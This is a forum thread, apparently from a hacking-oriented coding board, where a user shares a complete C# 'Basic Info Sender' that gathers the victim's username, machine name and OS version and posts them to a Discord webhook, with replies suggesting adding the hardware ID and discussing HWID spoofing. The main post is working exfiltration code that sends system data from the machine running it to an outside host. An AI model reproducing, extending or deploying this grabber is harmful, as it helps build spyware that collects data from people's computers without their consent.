Categories > Coding > C# >

[C#] Basic Info Sender

Posts: 215

Threads: 24

Joined: Jun, 2023

Reputation: 5

Posted

Showcase:

https://cdn.discordapp.com/attachments/967085236015992842/1137739696898842715/2023-08-06_15-23-40.mp4

 

using System;
using System.Net.Http;
using System.Text;
using Newtonsoft.Json;

namespace ConsoleApp
{
    class Program
    {
        static void Main(string[] args)
        {
            string webhookUrl = "here webhuk little guy";

            string userName = Environment.UserName;
            string machineName = Environment.MachineName;
            string osVersion = Environment.OSVersion.ToString();

            var embed = new
            {
                title = "notserp was here btw",
                description = $"Username: {userName}\nMachine Name: {machineName}\nOS Version: {osVersion}",
                color = 16711680 // red
            };

            var payload = new
            {
                content = "user info",
                embeds = new[] { embed }
            };
  
            string jsonPayload = JsonConvert.SerializeObject(payload);
            
            using (var client = new HttpClient())
            {
                var content = new StringContent(jsonPayload, Encoding.UTF8, "application/json");
                var response = client.PostAsync(webhookUrl, content).Result;
                Console.WriteLine(response.StatusCode);
            }

            Console.WriteLine("press any key to exit...");
            Console.ReadKey();
        }
    }
}
  • 0

https://cdn.discordapp.com/attachments/968557692639666267/1139574673630318632/lodlk.png

https://cdn.discordapp.com/attachments/921008361342902274/1144217307170742363/Bez_tytuu692.png

Posts: 25

Threads: 5

Joined: Jan, 2023

Reputation: 0

Replied

Pretty nice and cool but usually the OS is always wrong or barely works

 

also you can try getting the HWID by using WindowsIdentity.GetCurrent().User.Value;

 

 

Comments

soulgod 0 Reputation

Commented

the problem with this method is that if you are trying to do an hwid ban on that user specifically, it would be useless since that method of retrieving the hwid comes from a registry file which can easily be spoofed and be changed. Using the computer's part would be better as they never change.

  • 0

LordAlpha0101 0 Reputation

Commented

true true but i jsut sent that as something he could add

 

  • 0

  • 0

Posts: 2013

Threads: 198

Joined: Apr, 2021

Reputation: 16

Replied

I don't understand the point in sending this information.

Comments

Mikrofalufka 5 Reputation

Commented

Just was bored 

  • 0

  • 1

Random quote here...

Users viewing this thread:

( Members: 0, Guests: 1, Total: 1 )